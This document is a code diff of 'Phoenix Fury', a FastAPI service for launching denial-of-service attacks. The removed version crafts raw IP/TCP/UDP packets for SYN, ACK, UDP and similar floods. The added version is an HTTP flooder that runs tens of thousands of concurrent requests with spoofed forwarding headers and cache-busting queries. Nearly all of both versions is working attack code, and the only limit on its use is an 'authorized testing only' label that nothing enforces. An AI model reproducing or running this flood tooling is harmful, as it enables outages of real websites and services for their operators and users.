Update phoenix_fury_api.py

phoenix_fury_api.py

@@ -1,356 +1,197 @@
-# ====================================================================================
-#  PHOENIX FURY API v6.0 - APOCALYPSE EDITION
-#
-#  - GO-INSPIRED L4 ENGINE: A high-performance, low-level Layer 4 engine ported
-#    from Go, using raw sockets to craft IP/TCP/UDP headers from scratch for
-#    maximum PPS (Packets Per Second).
-#  - ADVANCED L7 SPOOFING: Layer 7 attacks now feature fully randomized User-Agent,
-#    Referer, and X-Forwarded-For headers for every request, mimicking real
-#    distributed traffic.
-#  - COMPLETE ATTACK SUITE: The definitive version with all requested methods:
-#    L4 (SYN, ACK, RST, FIN, UDP, UDP-PPS) and L7 (GET, POST, HEAD).
-#  - UNBREAKABLE STABILITY: Built on the rock-solid v5 architecture, retaining
-#    the robust AttackManager, BackgroundTasks lifecycle, and critical SSL fixes.
-#
-#  *** The ultimate, all-in-one stress testing tool for authorized professionals. ***
-# ====================================================================================
-
-import socket
-import struct
+import asyncio
 import random
+import socket
+import ssl
 import time
-import multiprocessing
-import threading
-import asyncio
-import aiohttp
-import os
-import sys
 import psutil
-import ssl
-from typing import Literal, Optional, List, Union
-from ctypes import c_ulonglong
+from typing import Dict
+from fastapi import FastAPI, HTTPException
+from pydantic import BaseModel, Field
+import aiohttp
+from aiohttp import ClientTimeout, TCPConnector
 
-# Use uvloop for a significant performance boost if available
+# Try to use uvloop for massive performance gain
 try:
     import uvloop
     asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
 except ImportError:
     pass
 
-# FastAPI & Pydantic
-from fastapi import FastAPI, HTTPException, BackgroundTasks
-from pydantic import BaseModel, Field, validator
-import uvicorn
-
-# --- Application Setup ---
 app = FastAPI(
-    title="🔥 Phoenix Fury API v6.0 - Apocalypse Edition",
-    description="The definitive L4/L7 stress testing tool with a Go-inspired raw socket engine and advanced L7 spoofing capabilities. For authorized use only.",
-    version="6.0.0"
+    title="🔥 Phoenix Fury L7 MaxPower",
+    description="AUTOMATED MAX-POWER HTTP FLOODER — FOR AUTHORIZED TESTING ONLY",
+    version="7.0"
 )
 
-# --- Constants & Configuration ---
-CPU_COUNT = psutil.cpu_count(logical=True)
-STATS_BATCH_UPDATE_SIZE = 1000
-
-# --- L7 Spoofing Headers ---
-USER_AGENTS = ["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36"]
-REFERERS = ["https://www.google.com/", "https://www.facebook.com/", "https://www.twitter.com/", "https://www.amazon.com/"]
-
-def get_random_headers() -> dict:
-    """Generates a dictionary of randomized headers for L7 attacks."""
-    rand_ip = f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
+# ======================
+#   CONFIG (HARD-CODED FOR MAX POWER)
+# ======================
+CPU_CORES = psutil.cpu_count(logical=True) or 8
+TOTAL_CONCURRENCY = CPU_CORES * 4096  # ~32k tasks on 8-core
+REQUEST_TIMEOUT = 3  # Aggressive timeout for max turnover
+BATCH_SIZE = 10_000  # Update stats every 10k requests
+
+# Spoofing data
+USER_AGENTS = [
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
+    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
+    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36"
+]
+REFERERS = [
+    "https://www.google.com/",
+    "https://www.bing.com/",
+    "https://www.facebook.com/",
+    "https://www.twitter.com/"
+]
+
+def spoof_headers() -> Dict[str, str]:
+    ip = f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
     return {
         "User-Agent": random.choice(USER_AGENTS),
         "Referer": random.choice(REFERERS),
-        "X-Forwarded-For": rand_ip,
-        "Accept": "*/*",
+        "X-Forwarded-For": ip,
+        "X-Real-IP": ip,
+        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
         "Accept-Language": "en-US,en;q=0.5",
-        "Accept-Encoding": "gzip, deflate, br",
-        "Connection": "close"
+        "Accept-Encoding": "gzip, deflate",
+        "Connection": "keep-alive",
+        "Cache-Control": "max-age=0"
     }
 
-# ====================================================================================
-#  Pydantic API Models
-# ====================================================================================
-class BaseAttackConfig(BaseModel):
-    target: str = Field(..., description="Target hostname or IP address")
-    port: int = Field(..., ge=1, le=65535, description="Target port")
-    duration: int = Field(..., ge=10, le=7200, description="Attack duration in seconds")
-    processes: int = Field(CPU_COUNT * 2, ge=1, le=CPU_COUNT * 16, description=f"Number of processes. Optimal is 2-4x CPU Cores.")
-
-class L4TCPConfig(BaseAttackConfig):
-    method: Literal["syn", "ack", "fin", "rst", "psh", "urg"] = Field("syn", description="TCP flag for the attack")
-
-class L4UDPConfig(BaseAttackConfig):
-    method: Literal["udp", "pps"] = Field("udp", description="'udp' for large packets, 'pps' for minimal (0-byte) packets for max PPS.")
-    payload_size: int = Field(1024, ge=0, le=1472, description="Size of UDP payload. Ignored if method is 'pps'.")
-
-class L7Config(BaseAttackConfig):
-    concurrency_per_process: int = Field(1024, ge=1, le=16384, description="Concurrent async tasks per process.")
-    method: Literal["get", "post", "head"] = Field("get", description="HTTP method.")
-    path: str = Field("/", description="Request path")
-
-class StatusResponse(BaseModel):
-    attack_active: bool; attack_type: str; target_host: str; target_ip: str; port: int
-    duration: int; elapsed_time: float; processes: int; total_sent: int
-    current_rate_pps_rps: float; cpu_usage_percent: float; memory_usage_percent: float
-
-# ====================================================================================
-#  CORE NETWORKING & PACKET CRAFTING (Go-Inspired)
-# ====================================================================================
-def check_root() -> bool:
-    try: return os.geteuid() == 0
-    except AttributeError: import ctypes; return ctypes.windll.shell32.IsUserAnAdmin() != 0
-
-def resolve_target(target: str) -> str:
-    try:
-        if "://" in target: target = target.split("://")[1].split("/")[0]
-        return socket.gethostbyname(target)
-    except socket.gaierror: raise ValueError(f"Could not resolve hostname: {target}")
-
-def get_local_ip(target_ip: str) -> str:
-    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.connect((target_ip, 1)); ip = s.getsockname()[0]; s.close(); return ip
-
-def calculate_checksum(data: bytes) -> int:
-    s = 0
-    if len(data) % 2: data += b'\0'
-    for i in range(0, len(data), 2): s += (data[i] << 8) + data[i+1]
-    s = (s >> 16) + (s & 0xffff); s += (s >> 16); return (~s) & 0xffff
-
-def create_ip_header(src_ip: str, dst_ip: str, proto: int, total_len: int) -> bytes:
-    header = struct.pack('!BBHHHBBH4s4s',
-        (4 << 4) | 5, 0, total_len, random.randint(1, 65535), 0, 64, proto, 0,
-        socket.inet_aton(src_ip), socket.inet_aton(dst_ip)
-    )
-    return header[:10] + struct.pack('!H', calculate_checksum(header)) + header[12:]
-
-def create_tcp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, flags: int) -> bytes:
-    seq = random.randint(1, 4294967295)
-    ack_seq = 0
-    header = struct.pack('!HHLLBBHHH', src_port, dst_port, seq, ack_seq, (5 << 4), flags, 5840, 0, 0)
-    pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_TCP, len(header))
-    checksum = calculate_checksum(pseudo_header + header)
-    return header[:16] + struct.pack('!H', checksum) + header[18:]
-
-def create_udp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, payload: bytes) -> bytes:
-    udp_len = 8 + len(payload)
-    header = struct.pack('!HHHH', src_port, dst_port, udp_len, 0)
-    pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_UDP, udp_len)
-    checksum = calculate_checksum(pseudo_header + header + payload)
-    return header[:6] + struct.pack('!H', checksum)
-
-# ====================================================================================
-#  ATTACK WORKER PROCESSES
-# ====================================================================================
-def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type, method_details):
-    try:
-        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
-        sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
-        local_ip = get_local_ip(target_ip)
-    except Exception as e:
-        print(f"[PID {os.getpid()}] L4 Worker Init Error: {e}", file=sys.stderr); return
-
-    local_counter = 0
-    flag_map = {"syn": 2, "ack": 16, "fin": 1, "rst": 4, "psh": 8, "urg": 32}
-    
-    if attack_type == 'udp':
-        payload = os.urandom(0 if method_details == 'pps' else method_details)
-        udp_len = 8 + len(payload)
-
-    while not stop_event.is_set():
-        src_port = random.randint(1025, 65535)
-        if attack_type == 'tcp':
-            ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_TCP, 40)
-            tcp_header = create_tcp_header(local_ip, target_ip, src_port, port, flag_map.get(method_details, 2))
-            packet = ip_header + tcp_header
-        else: # udp
-            ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_UDP, 20 + udp_len)
-            udp_header = create_udp_header(local_ip, target_ip, src_port, port, payload)
-            packet = ip_header + udp_header + payload
+# ======================
+#   GLOBAL STATE
+# ======================
+class AttackState:
+    def __init__(self):
+        self.active = False
+        self.target = ""
+        self.start_time = 0
+        self.total_requests = 0
+        self.current_rps = 0
+        self.last_count = 0
+        self.last_time = time.time()
+
+STATE = AttackState()
+
+# ======================
+#   WORKER COROUTINE (MAX SPEED)
+# ======================
+async def flood_worker(url: str, session: aiohttp.ClientSession):
+    local_count = 0
+    while STATE.active:
         try:
-            sock.sendto(packet, (target_ip, port))
-            local_counter += 1
-            if local_counter >= STATS_BATCH_UPDATE_SIZE:
-                with shared_counter.get_lock(): shared_counter.value += local_counter
-                local_counter = 0
-        except: pass
-    if local_counter > 0:
-        with shared_counter.get_lock(): shared_counter.value += local_counter
-    sock.close()
-
-async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
-    ssl_context = ssl.create_default_context(); ssl_context.check_hostname = False; ssl_context.verify_mode = ssl.CERT_NONE
-    connector = aiohttp.TCPConnector(limit=None, force_close=True, ssl=ssl_context)
-    timeout = aiohttp.ClientTimeout(total=10, connect=5)
-
-    async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
-        async def task_worker():
-            local_counter = 0
-            while not stop_event.is_set():
-                try:
-                    async with session.request(method, f"{url}?{random.randint(1, 99999999)}", headers=get_random_headers()):
-                        local_counter += 1
-                except:
-                    local_counter += 1
-                finally:
-                    if local_counter >= STATS_BATCH_UPDATE_SIZE:
-                        with shared_counter.get_lock(): shared_counter.value += local_counter
-                        local_counter = 0
-                    await asyncio.sleep(0)
-            if local_counter > 0:
-                with shared_counter.get_lock(): shared_counter.value += local_counter
-        tasks = [task_worker() for _ in range(concurrency)]
-        await asyncio.gather(*tasks)
-
-def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, concurrency):
-    protocol = "https" if port in [443, 8443] else "http"
-    url = f"{protocol}://{target_ip}:{port}{path}"
+            # Add random cache-buster
+            target_url = f"{url}?_={random.randint(1000000, 999999999)}"
+            async with session.get(target_url, headers=spoof_headers(), timeout=REQUEST_TIMEOUT):
+                pass  # Don't wait for body; just send & forget
+        except:
+            pass  # Ignore all errors — keep flooding
+        local_count += 1
+        if local_count >= BATCH_SIZE:
+            STATE.total_requests += local_count
+            local_count = 0
+    if local_count > 0:
+        STATE.total_requests += local_count
+
+# ======================
+#   RPS CALCULATOR
+# ======================
+async def rps_monitor():
+    while STATE.active:
+        await asyncio.sleep(1)
+        now = time.time()
+        elapsed = now - STATE.last_time
+        if elapsed > 0:
+            current = STATE.total_requests
+            STATE.current_rps = (current - STATE.last_count) / elapsed
+            STATE.last_count = current
+            STATE.last_time = now
+
+# ======================
+#   ATTACK LAUNCHER
+# ======================
+@app.post("/start")
+async def start_attack(target: str = Field(..., description="Full URL: http://target.com or https://target.com")):
+    if STATE.active:
+        raise HTTPException(409, "Attack already running")
+
+    if not target.startswith(("http://", "https://")):
+        raise HTTPException(400, "Target must start with http:// or https://")
+
+    # Resolve to IP to avoid DNS lookup per request
     try:
-        asyncio.run(l7_worker_main(url, method, concurrency, stop_event, shared_counter))
+        hostname = target.split("://")[1].split("/")[0].split(":")[0]
+        ip = socket.gethostbyname(hostname)
+        # Reconstruct URL with IP to bypass DNS
+        protocol = "https" if target.startswith("https") else "http"
+        port_part = ":" + target.split("://")[1].split("/")[0].split(":")[1] if ":" in target.split("://")[1].split("/")[0] else ""
+        resolved_url = f"{protocol}://{ip}{port_part}/"
     except Exception as e:
-        print(f"[PID {os.getpid()}] L7 Worker fatal error: {e}", file=sys.stderr)
-
-# ====================================================================================
-#  CENTRALIZED ATTACK MANAGER (SINGLETON)
-# ====================================================================================
-class AttackManager:
-    _instance = None
-    def __new__(cls):
-        if cls._instance is None:
-            cls._instance = super(AttackManager, cls).__new__(cls); cls._instance._initialized = False
-        return cls._instance
-
-    def __init__(self):
-        if self._initialized: return
-        self._initialized = True; self.lock = threading.Lock(); self.stats_thread = None; self._reset_state()
-
-    def _reset_state(self):
-        self.attack_active = False; self.attack_type = "None"; self.target_host = "None"
-        self.target_ip = "None"; self.port = 0; self.duration = 0; self.start_time = 0.0
-        self.process_count = 0; self.processes: List[multiprocessing.Process] = []
-        self.stop_event = multiprocessing.Event()
-        self.counter = multiprocessing.Value(c_ulonglong, 0); self.current_rate = 0.0
-
-    def is_active(self):
-        with self.lock: return self.attack_active
-
-    def _stats_calculator(self):
-        last_check_time = time.time(); last_count = 0
-        while not self.stop_event.is_set():
-            time.sleep(1)
-            now = time.time(); current_count = self.counter.value; elapsed = now - last_check_time
-            if elapsed > 0: self.current_rate = (current_count - last_count) / elapsed
-            last_check_time = now; last_count = current_count
-        self.current_rate = 0.0
-
-    def start(self, config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str):
-        with self.lock:
-            if self.attack_active: return
-            try:
-                self.target_host = config.target; self.target_ip = resolve_target(self.target_host)
-                if family == 'l4' and not check_root(): raise PermissionError("Layer 4 attacks require root privileges.")
-            except (ValueError, PermissionError) as e:
-                print(f"Attack validation failed: {e}", file=sys.stderr); self._reset_state(); return
-
-            self.attack_active = True; self.port = config.port; self.duration = config.duration
-            self.process_count = config.processes; self.start_time = time.time()
-            
-            worker_target, worker_args, attack_name = (None, None, "Unknown")
-            if family == 'l7' and isinstance(config, L7Config):
-                attack_name = f"L7-{config.method.upper()}"; worker_target = l7_worker_process
-                worker_args = (self.stop_event, self.counter, self.target_ip, config.port, config.path, config.method, config.concurrency_per_process)
-            elif family == 'l4':
-                worker_target = l4_worker_process
-                if isinstance(config, L4TCPConfig):
-                    attack_name = f"L4-TCP-{config.method.upper()}"
-                    worker_args = (self.stop_event, self.counter, self.target_ip, config.port, 'tcp', config.method)
-                elif isinstance(config, L4UDPConfig):
-                    attack_name = f"L4-UDP-{config.method.upper()}";
-                    worker_args = (self.stop_event, self.counter, self.target_ip, config.port, 'udp', config.method if config.method == 'pps' else config.payload_size)
-            self.attack_type = attack_name
-            
-            print("="*60 + f"\n🔥 PHOENIX FURY APOCALYPSE - ATTACK INITIATED 🔥\n" +
-                  f"   Type: {self.attack_type} | Target: {self.target_host}:{self.port} ({self.target_ip})\n" +
-                  f"   Duration: {self.duration}s | Processes: {self.process_count}\n" + "="*60)
-
-            for _ in range(self.process_count):
-                p = multiprocessing.Process(target=worker_target, args=worker_args); self.processes.append(p); p.start()
-            self.stats_thread = threading.Thread(target=self._stats_calculator); self.stats_thread.start()
-
-    def stop(self):
-        with self.lock:
-            if not self.attack_active: return
-            print(f"\nStop signal received. Terminating {len(self.processes)} processes...")
-            self.stop_event.set()
-            for p in self.processes: p.join(timeout=5)
-            for p in self.processes:
-                if p.is_alive(): print(f"Terminating hanging process PID: {p.pid}"); p.terminate()
-            if self.stats_thread: self.stats_thread.join(timeout=2)
-            elapsed = time.time() - self.start_time; total_sent = self.counter.value
-            avg_rate = total_sent / elapsed if elapsed > 0 else 0
-            print("="*40 + "\n✅ ATTACK TERMINATED.\n" + f"   Total Sent: {total_sent:,}\n" +
-                  f"   Elapsed Time: {elapsed:.2f}s\n" + f"   Average Rate: {avg_rate:,.2f} PPS/RPS\n" + "="*40)
-            self._reset_state()
-
-    def get_status(self) -> StatusResponse:
-        with self.lock:
-            return StatusResponse(
-                attack_active=self.attack_active, attack_type=self.attack_type, target_host=self.target_host,
-                target_ip=self.target_ip, port=self.port, duration=self.duration,
-                elapsed_time=round(time.time() - self.start_time, 2) if self.attack_active else 0,
-                processes=self.process_count, total_sent=self.counter.value,
-                current_rate_pps_rps=round(self.current_rate, 2),
-                cpu_usage_percent=psutil.cpu_percent(), memory_usage_percent=psutil.virtual_memory().percent
-            )
-
-MANAGER = AttackManager()
-
-# ====================================================================================
-#  FASTAPI ENDPOINTS
-# ====================================================================================
-@app.on_event("startup")
-def on_startup():
-    print("="*50 + "\n🔥 Phoenix Fury API v6.0 - Apocalypse Edition is ready.")
-    print(f"   Detected {CPU_COUNT} logical CPU cores. Recommended max processes: {CPU_COUNT * 4}.")
-    if check_root(): print("✅ Running with root privileges. Layer 4 attacks are ENABLED.")
-    else: print("⚠️ WARNING: Not running with root privileges. Layer 4 attacks will FAIL.")
-    print("="*50)
-
-def run_attack_lifecycle(config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str, background_tasks: BackgroundTasks):
-    if MANAGER.is_active():
-        raise HTTPException(status_code=409, detail="An attack is already in progress.")
-    background_tasks.add_task(MANAGER.start, config, family)
-    background_tasks.add_task(time.sleep, config.duration)
-    background_tasks.add_task(MANAGER.stop)
-
-@app.post("/attack/layer7")
-def api_start_l7(config: L7Config, background_tasks: BackgroundTasks):
-    run_attack_lifecycle(config, 'l7', background_tasks)
-    return {"status": "success", "message": f"L7 attack initiated on {config.target}:{config.port}"}
-
-@app.post("/attack/layer4/tcp")
-def api_start_l4_tcp(config: L4TCPConfig, background_tasks: BackgroundTasks):
-    run_attack_lifecycle(config, 'l4', background_tasks)
-    return {"status": "success", "message": f"L4 TCP attack initiated on {config.target}:{config.port}"}
-
-@app.post("/attack/layer4/udp")
-def api_start_l4_udp(config: L4UDPConfig, background_tasks: BackgroundTasks):
-    run_attack_lifecycle(config, 'l4', background_tasks)
-    return {"status": "success", "message": f"L4 UDP attack initiated on {config.target}:{config.port}"}
-
-@app.post("/attack/stop")
-def api_stop_attack():
-    if not MANAGER.is_active(): return {"status": "info", "message": "No attack is currently running."}
-    MANAGER.stop(); return {"status": "success", "message": "Stop signal sent."}
+        raise HTTPException(400, f"Failed to resolve target: {e}")
+
+    STATE.active = True
+    STATE.target = target
+    STATE.start_time = time.time()
+    STATE.total_requests = 0
+    STATE.current_rps = 0
+    STATE.last_count = 0
+    STATE.last_time = time.time()
+
+    print(f"🚀 MAX-POWER L7 FLOOD STARTED on {target} (resolved to {ip})")
+    print(f"   Concurrency: {TOTAL_CONCURRENCY} | Timeout: {REQUEST_TIMEOUT}s")
+
+    # Configure session
+    ssl_ctx = ssl.create_default_context()
+    ssl_ctx.check_hostname = False
+    ssl_ctx.verify_mode = ssl.CERT_NONE
+    connector = TCPConnector(
+        limit=0,  # No limit on connections
+        limit_per_host=0,
+        force_close=True,
+        keepalive_timeout=0,
+        enable_cleanup_closed=True
+    )
+    timeout = ClientTimeout(total=REQUEST_TIMEOUT, connect=1, sock_read=2)
+
+    async def run_flood():
+        async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
+            tasks = [flood_worker(resolved_url, session) for _ in range(TOTAL_CONCURRENCY)]
+            await asyncio.gather(*tasks, return_exceptions=True)
+
+    # Launch flood + monitor in background
+    asyncio.create_task(run_flood())
+    asyncio.create_task(rps_monitor())
+
+    return {"status": "started", "target": target, "concurrency": TOTAL_CONCURRENCY}
+
+@app.post("/stop")
+async def stop_attack():
+    if not STATE.active:
+        return {"status": "idle"}
+    STATE.active = False
+    elapsed = time.time() - STATE.start_time
+    avg_rps = STATE.total_requests / elapsed if elapsed > 0 else 0
+    print(f"✅ ATTACK STOPPED | Total: {STATE.total_requests:,} | Avg RPS: {avg_rps:,.0f}")
+    return {
+        "status": "stopped",
+        "total_requests": STATE.total_requests,
+        "elapsed_sec": round(elapsed, 2),
+        "avg_rps": round(avg_rps, 2)
+    }
 
-@app.get("/status", response_model=StatusResponse)
-def get_status(): return MANAGER.get_status()
+@app.get("/status")
+async def get_status():
+    elapsed = time.time() - STATE.start_time if STATE.active else 0
+    return {
+        "active": STATE.active,
+        "target": STATE.target,
+        "elapsed_sec": round(elapsed, 2),
+        "total_requests": STATE.total_requests,
+        "current_rps": round(STATE.current_rps, 2),
+        "cpu_percent": psutil.cpu_percent(),
+        "memory_percent": psutil.virtual_memory().percent
+    }
 
 @app.get("/")
-def root(): return {"message": "🔥 Phoenix Fury API v6.0 - Apocalypse Edition", "docs": "/docs"}
-
-# --- Main Execution ---
-if __name__ == "__main__":
-    multiprocessing.freeze_support()
-    uvicorn.run(app, host="0.0.0.0", port=8000)
+async def root():
+    return {"message": "🔥 Phoenix Fury L7 MaxPower — /start to begin"}